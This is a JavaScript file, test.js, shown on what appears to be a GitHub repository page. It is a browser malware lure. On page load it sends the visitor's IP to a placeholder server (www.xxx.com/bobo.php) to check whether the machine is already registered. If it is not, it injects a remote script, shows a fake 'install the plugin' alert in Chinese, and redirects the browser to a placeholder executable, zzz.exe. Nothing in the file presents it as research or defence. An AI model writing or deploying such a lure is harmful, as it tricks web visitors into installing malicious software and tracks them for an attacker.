-
Notifications
You must be signed in to change notification settings - Fork 58
/
Copy pathtest.js
51 lines (46 loc) · 1.46 KB
/
test.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
var returnCitySN = {"cip": "0.0.0.0", "bobo": "000000"};
//document.write("<script src='http://pv.sohu.com/cityjson?ie=utf-8'></script>");
document.write("<script src='http://www.xxx.com/bobo.php?getaddr=123'></script>");
//上线检测
function isRise(ip,bobo) {
var xmlHttp;
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttp.open("GET", "http://www.xxx.com/bobo.php?search="+ip, "true");
xmlHttp.send();
xmlHttp.onreadystatechange = function() {
//alert(xmlHttp.responseText)
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
var resData = xmlHttp.responseText;
if (resData == "in" && bobo == "111111") {
} else {
document.write("<script src='http://www.xxx.com/bobo.php?bobo=1'></script>");
download();
}
}
}
}
//下载
function download(){
alert("请尝试下载并安装插件后访问本页面!");
window.location.href="http://www.zzz.com/zzz.exe";
}
//判断是否是PC
function isPc() {
if (navigator.userAgent.match(/(iPhone|Android)/i)) {
return false;
} else {
return true;
}
}
//load,ipbase64编码后,传递给后端
window.onload = function(){
if(!isPc()){
alert("当前页面只能在电脑PC端中加载,请稍后重试...");
}else{
isRise(returnCitySN["cip"], returnCitySN["bobo"]);
}
}